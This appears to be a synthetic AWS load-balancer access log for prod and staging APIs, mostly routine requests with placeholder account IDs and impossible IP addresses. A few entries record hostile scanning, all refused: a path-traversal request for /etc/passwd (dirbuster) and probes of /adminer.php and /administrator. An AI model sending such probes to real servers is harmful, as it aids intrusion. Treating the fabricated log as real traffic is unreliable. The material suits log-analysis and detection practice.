2024-11-01T02:37:09.402072Z "forward" "-" "-" "10.0.205.180:443" "200" "-" "-" +https 2024-11-01T02:37:10.170772Z prod-api-alb 75.112.94.169:56066 10.0.177.240:443 0.064799 0.481912 0.013694 302 302 617 2222 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc66-6e22f06ae88c4bddb40944a6" "prod-api-alb.example.com" "-" 7 2024-11-01T02:37:10.170772Z "forward" "-" "-" "10.0.177.240:443" "302" "-" "-" +https 2024-11-01T02:37:11.821321Z prod-api-alb 133.123.122.8:36956 10.0.134.20:443 0.069105 0.115965 0.019760 200 200 384 3266 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc67-4ef50a21dee746f7842fa497" "prod-api-alb.example.com" "-" 9 2024-11-01T02:37:11.821321Z "forward" "-" "-" "10.0.134.20:443" "200" "-" "-" +https 2024-11-01T02:37:12.493930Z prod-api-alb 45.155.205.151:56768 10.0.184.184:443 0.078047 0.018997 0.067228 401 401 526 8473 "POST /adminer.php HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc68-b2088532b1e045cdbf621fc5" "-" "-" 8 2024-11-01T02:37:12.493930Z "forward" "-" "-" "10.0.184.184:443" "401" "-" "-" +http 2024-11-01T02:37:14.210053Z staging-alb 167.157.177.38:51459 217.17.52.47:80 0.099506 0.475805 0.059699 200 200 630 4472 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc6a-bccf3915e3d146778abc250e" "staging-alb.example.com" "-" 0 2024-11-01T02:37:14.210053Z "forward" "-" "-" "217.17.52.47:80" "200" "-" "-" +https 2024-11-01T02:37:15.044413Z prod-web-alb 125.1.162.215:10862 10.0.34.85:443 0.054998 0.294589 0.016342 301 301 283 10119 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc6b-fca09ab4932743f790550f8a" "prod-web-alb.example.com" "-" 6 2024-11-01T02:37:15.044413Z "forward" "-" "-" "10.0.34.85:443" "301" "-" "-" +https 2024-11-01T02:37:15.648014Z prod-web-alb 52.141.168.64:10062 10.0.146.120:443 0.076864 0.321589 0.016216 200 200 573 12247 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc6b-187b6ca1ffaf4ab7b4add02d" "prod-web-alb.example.com" "-" 2 2024-11-01T02:37:15.648014Z "forward" "-" "-" "10.0.146.120:443" "200" "-" "-" +https 2024-11-01T02:37:15.914855Z prod-api-alb 135.225.243.230:42061 10.0.60.139:443 0.032053 0.038956 0.071850 301 301 382 7295 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc6b-4095e01822af425e870bd543" "prod-api-alb.example.com" "-" 1 2024-11-01T02:37:15.914855Z "forward" "-" "-" "10.0.60.139:443" "301" "-" "-" +https 2024-11-01T02:37:17.258571Z prod-api-alb 26.13.241.224:61890 10.0.151.31:443 0.090206 0.349574 0.022454 302 302 646 8684 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc6d-4a61ede30eca4161bf1a1f8d" "prod-api-alb.example.com" "-" 9 2024-11-01T02:37:17.258571Z "forward" "-" "-" "10.0.151.31:443" "302" "-" "-" +https 2024-11-01T02:37:17.960344Z prod-web-alb 234.96.112.3:23932 10.0.130.19:443 0.081060 0.317224 0.050139 200 200 415 2960 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc6d-8859b7e2b5814d93be6fca00" "-" "-" 1 2024-11-01T02:37:17.960344Z "forward" "-" "-" "10.0.130.19:443" "200" "-" "-" +https 2024-11-01T02:37:19.387487Z prod-web-alb 156.172.27.66:26005 10.0.178.162:443 0.070044 0.010795 0.076419 301 301 501 4859 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc6f-1abfdf9c710b4b47b910da7f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:37:19.387487Z "forward" "-" "-" "10.0.178.162:443" "301" "-" "-" +https 2024-11-01T02:37:20.966675Z prod-web-alb 186.107.206.194:18308 10.0.182.61:443 0.078017 0.120357 0.032043 301 301 251 11330 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc70-c0b25d5dd2cc41b0b9727882" "prod-web-alb.example.com" "-" 6 2024-11-01T02:37:20.966675Z "forward" "-" "-" "10.0.182.61:443" "301" "-" "-" +https 2024-11-01T02:37:21.342108Z prod-api-alb 50.202.186.237:18558 10.0.78.67:443 0.080199 0.437318 0.021937 200 200 977 550 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc71-6db85e382bde4b16b182acb7" "prod-api-alb.example.com" "-" 5 2024-11-01T02:37:21.342108Z "forward" "-" "-" "10.0.78.67:443" "200" "-" "-" +https 2024-11-01T02:37:21.788211Z prod-api-alb 13.30.82.20:44843 10.0.48.180:443 0.038217 0.204897 0.092960 200 200 931 3500 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc71-cfbfd800451344aba696da3d" "prod-api-alb.example.com" "-" 10 2024-11-01T02:37:21.788211Z "forward" "-" "-" "10.0.48.180:443" "200" "-" "-" +https 2024-11-01T02:37:23.213931Z prod-web-alb 178.37.100.116:20194 10.0.247.249:443 0.021584 0.278011 0.008436 200 200 993 4196 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc73-8856658287ca4664a98f5da0" "prod-web-alb.example.com" "-" 8 2024-11-01T02:37:23.213931Z "forward" "-" "-" "10.0.247.249:443" "200" "-" "-" +https 2024-11-01T02:37:24.027203Z prod-web-alb 224.95.120.19:29818 10.0.4.56:443 0.059246 0.350370 0.088077 200 200 291 13902 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc74-eca6fa45a6d648f399b55d51" "prod-web-alb.example.com" "-" 7 2024-11-01T02:37:24.027203Z "forward" "-" "-" "10.0.4.56:443" "200" "-" "-" +https 2024-11-01T02:37:24.810494Z prod-web-alb 91.140.68.25:15667 10.0.172.251:443 0.020189 0.063392 0.005892 302 302 471 3369 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc74-173214adaf0d42839e668b84" "prod-web-alb.example.com" "-" 5 2024-11-01T02:37:24.810494Z "forward" "-" "-" "10.0.172.251:443" "302" "-" "-" +https 2024-11-01T02:37:25.694973Z prod-web-alb 142.71.103.109:51036 10.0.20.158:443 0.088729 0.172218 0.011409 302 302 725 918 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc75-3c32f33283314eacac25b86e" "-" "-" 6 2024-11-01T02:37:25.694973Z "forward" "-" "-" "10.0.20.158:443" "302" "-" "-" +https 2024-11-01T02:37:25.840898Z staging-alb 35.130.33.24:33426 76.208.192.113:443 0.055752 0.136809 0.001957 200 200 14 3868 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc75-2cbd9108f8a14c6b8e246419" "staging-alb.example.com" "-" 3 2024-11-01T02:37:25.840898Z "forward" "-" "-" "76.208.192.113:443" "200" "-" "-" +https 2024-11-01T02:37:26.722165Z prod-api-alb 94.231.143.21:52070 10.0.70.223:443 0.072979 0.147761 0.044287 200 200 221 13976 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc76-a5c1d5a577b44d4ab1abd0f7" "prod-api-alb.example.com" "-" 4 2024-11-01T02:37:26.722165Z "forward" "-" "-" "10.0.70.223:443" "200" "-" "-" +https 2024-11-01T02:37:27.564176Z prod-web-alb 54.51.128.230:28989 10.0.2.7:443 0.097275 0.099205 0.058674 200 200 275 4356 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc77-0117fd4ff3c24e0b972a073e" "prod-web-alb.example.com" "-" 0 2024-11-01T02:37:27.564176Z "forward" "-" "-" "10.0.2.7:443" "200" "-" "-" +https 2024-11-01T02:37:27.724030Z prod-api-alb 171.30.103.230:45990 10.0.9.185:443 0.071137 0.172608 0.096821 200 200 127 7343 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc77-fac53f36261a4940b5d1e220" "prod-api-alb.example.com" "-" 0 2024-11-01T02:37:27.724030Z "forward" "-" "-" "10.0.9.185:443" "200" "-" "-" +https 2024-11-01T02:37:29.185022Z prod-api-alb 142.52.232.37:12560 10.0.158.244:443 0.029591 0.477405 0.008831 200 200 155 8908 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc79-f83aa2abf95b44b0ac5e1277" "prod-api-alb.example.com" "-" 0 2024-11-01T02:37:29.185022Z "forward" "-" "-" "10.0.158.244:443" "200" "-" "-" +https 2024-11-01T02:37:31.144632Z staging-alb 116.225.216.32:28222 166.214.230.45:443 0.054902 0.518624 0.132230 302 302 915 6213 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc7b-2258e52e915c4779a8330e0a" "staging-alb.example.com" "-" 2 2024-11-01T02:37:31.144632Z "forward" "-" "-" "166.214.230.45:443" "302" "-" "-" +https 2024-11-01T02:37:31.572248Z prod-web-alb 76.229.97.230:42194 10.0.130.156:443 0.013907 0.476276 0.009488 302 302 336 3136 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc7b-88d323b4c87a4fdb9c853649" "prod-web-alb.example.com" "-" 1 2024-11-01T02:37:31.572248Z "forward" "-" "-" "10.0.130.156:443" "302" "-" "-" +https 2024-11-01T02:37:33.271054Z prod-web-alb 147.77.85.230:54910 10.0.235.78:443 0.080316 0.037595 0.083415 200 200 558 2554 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc7d-b786ee64fd994159b578736f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:37:33.271054Z "forward" "-" "-" "10.0.235.78:443" "200" "-" "-" +https 2024-11-01T02:37:34.791489Z prod-web-alb 185.181.162.113:29438 10.0.79.196:443 0.093423 0.387473 0.019787 403 403 960 6647 "GET /../../../etc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc7e-4a19ce71a354414ca459c54e" "-" "-" 9 2024-11-01T02:37:34.791489Z "forward" "-" "-" "10.0.79.196:443" "403" "-" "-" +https 2024-11-01T02:37:35.602932Z prod-api-alb 209.38.107.228:25234 10.0.109.11:443 0.004620 0.375346 0.099582 302 302 174 8795 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc7f-a7981b47d0d74a86b4870216" "prod-api-alb.example.com" "-" 7 2024-11-01T02:37:35.602932Z "forward" "-" "-" "10.0.109.11:443" "302" "-" "-" +https 2024-11-01T02:37:35.739993Z prod-api-alb 222.59.255.0:26201 10.0.106.64:443 0.067844 0.223345 0.098648 404 404 564 8614 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc7f-71d9eb7b5167423dab451fe1" "prod-api-alb.example.com" "-" 1 2024-11-01T02:37:35.739993Z "forward" "-" "-" "10.0.106.64:443" "404" "-" "-" +https 2024-11-01T02:37:36.612226Z prod-web-alb 115.235.18.65:46491 10.0.206.151:443 0.029708 0.121751 0.028072 404 404 962 4024 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc80-12d50b93f64640ccbbe041c3" "prod-web-alb.example.com" "-" 2 2024-11-01T02:37:36.612226Z "forward" "-" "-" "10.0.206.151:443" "404" "-" "-" +https 2024-11-01T02:37:37.956804Z prod-web-alb 16.144.35.243:18614 10.0.53.171:443 0.086406 0.163373 0.071205 200 200 780 1811 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc81-7ffea66b81f447b4b9c3b721" "prod-web-alb.example.com" "-" 1 2024-11-01T02:37:37.956804Z "forward" "-" "-" "10.0.53.171:443" "200" "-" "-" +https 2024-11-01T02:37:39.289969Z prod-web-alb 18.215.221.190:24874 10.0.110.100:443 0.027302 0.015497 0.087999 200 200 18 5317 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc83-bd01852d7429432d8be37db1" "prod-web-alb.example.com" "-" 2 2024-11-01T02:37:39.289969Z "forward" "-" "-" "10.0.110.100:443" "200" "-" "-" +https 2024-11-01T02:37:40.702558Z staging-alb 68.130.219.110:13067 3.49.153.66:8080 0.043611 0.007022 0.020674 200 200 235 2214 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc84-05ff179e4aef4b0d9d9516a8" "staging-alb.example.com" "-" 7 2024-11-01T02:37:40.702558Z "forward" "-" "-" "3.49.153.66:8080" "200" "-" "-" +http 2024-11-01T02:37:42.267852Z staging-alb 106.213.136.208:13449 103.219.62.174:8080 0.121847 0.343373 0.089715 404 404 453 8530 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc86-b6358ff25f0c4eb398a63b07" "staging-alb.example.com" "-" 7 2024-11-01T02:37:42.267852Z "forward" "-" "-" "103.219.62.174:8080" "404" "-" "-" +https 2024-11-01T02:37:44.215183Z staging-alb 124.108.71.180:28785 60.15.204.104:443 0.007108 0.344033 0.036593 200 200 385 13128 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc88-6be7c544ec5b4510ad7c9cde" "staging-alb.example.com" "-" 5 2024-11-01T02:37:44.215183Z "forward" "-" "-" "60.15.204.104:443" "200" "-" "-" +https 2024-11-01T02:37:44.867842Z staging-alb 198.79.81.73:49762 17.124.242.119:8080 0.107176 0.372160 0.115818 200 200 684 1058 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc88-a019de80e5ec44ba8655022d" "staging-alb.example.com" "-" 1 2024-11-01T02:37:44.867842Z "forward" "-" "-" "17.124.242.119:8080" "200" "-" "-" +https 2024-11-01T02:37:45.012391Z prod-web-alb 117.62.174.90:32696 10.0.250.177:443 0.053918 0.126642 0.072565 200 200 891 10505 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc89-2f8cc3c98c30486e91426716" "prod-web-alb.example.com" "-" 0 2024-11-01T02:37:45.012391Z "forward" "-" "-" "10.0.250.177:443" "200" "-" "-" +http 2024-11-01T02:37:45.199167Z staging-alb 193.27.228.109:46947 130.99.198.152:80 0.081586 0.684211 0.125564 401 401 234 730 "POST /administrator HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc89-2547d4b599f640d282360d89" "-" "-" 2 2024-11-01T02:37:45.199167Z "forward" "-" "-" "130.99.198.152:80" "401" "-" "-" +https 2024-11-01T02:37:45.752712Z prod-web-alb 173.192.11.199:24842 10.0.236.93:443 0.069052 0.093276 0.074882 301 301 664 10154 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc89-09202e4ab91647b6a929e2c4" "prod-web-alb.example.com" "-" 7 2024-11-01T02:37:45.752712Z "forward" "-" "-" "10.0.236.93:443" "301" "-" "-" +https 2024-11-01T02:37:46.110717Z prod-api-alb 35.189.16.244:13612 10.0.147.40:443 0.044850 0.233854 0.064937 200 200 84 1401 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc8a-1ed19f1110eb42d9953470cf" "prod-api-alb.example.com" "-" 4 2024-11-01T02:37:46.110717Z "forward" "-" "-" "10.0.147.40:443" "200" "-" "-" +https 2024-11-01T02:37:46.521625Z prod-web-alb 252.129.120.98:38896 10.0.170.28:443 0.094530 0.480002 0.052459 301 301 213 3342 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc8a-07bee229a9f346c4b63a79ca" "prod-web-alb.example.com" "-" 7 2024-11-01T02:37:46.521625Z "forward" "-" "-" "10.0.170.28:443" "301" "-" "-" +https 2024-11-01T02:37:48.385500Z prod-api-alb 121.198.67.99:59621 10.0.115.145:443 0.010811 0.090725 0.001206 200 200 35 13770 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc8c-b89ddd7a0a914d9d865f4d50" "prod-api-alb.example.com" "-" 9 2024-11-01T02:37:48.385500Z "forward" "-" "-" "10.0.115.145:443" "200" "-" "-" +https 2024-11-01T02:37:49.164072Z staging-alb 161.84.200.233:22646 219.188.7.158:443 0.072003 0.290481 0.046925 200 200 618 7933 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc8d-74d75dd1ce4f4181b93153b2" "staging-alb.example.com" "-" 10 2024-11-01T02:37:49.164072Z "forward" "-" "-" "219.188.7.158:443" "200" "-" "-" +http 2024-11-01T02:37:49.969416Z staging-alb 66.97.250.22:44132 249.169.35.156:443 0.038315 0.633472 0.060629 404 404 779 10495 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc8d-58a32005d4ab4aaf94880e2a" "staging-alb.example.com" "-" 1 2024-11-01T02:37:49.969416Z "forward" "-" "-" "249.169.35.156:443" "404" "-" "-" +https 2024-11-01T02:37:50.372330Z prod-web-alb 216.136.193.40:55111 10.0.140.237:443 0.021920 0.091627 0.072664 404 404 744 11470 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc8e-1e1b19e01c224f5285290131" "prod-web-alb.example.com" "-" 6 2024-11-01T02:37:50.372330Z "forward" "-" "-" "10.0.140.237:443" "404" "-" "-" +https 2024-11-01T02:37:50.870704Z staging-alb 71.11.221.180:18194 166.209.237.57:80 0.037651 0.739019 0.129213 404 404 559 13720 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc8e-65e26afc3d5343eca7d7b538" "staging-alb.example.com" "-" 5 2024-11-01T02:37:50.870704Z "forward" "-" "-" "166.209.237.57:80" "404" "-" "-" +https 2024-11-01T02:37:51.071987Z prod-web-alb 93.86.102.166:27792 10.0.129.241:443 0.087972 0.016968 0.043374 200 200 806 13363 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc8f-09e8cc4d039b4b849b8b65ba" "prod-web-alb.example.com" "-" 4 2024-11-01T02:37:51.071987Z "forward" "-" "-" "10.0.129.241:443" "200" "-" "-" +https 2024-11-01T02:37:51.595371Z prod-web-alb 152.221.22.73:58970 10.0.2.15:443 0.087158 0.125989 0.010400 302 302 440 12319 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc8f-344b6a2d7756407e963c74ae" "prod-web-alb.example.com" "-" 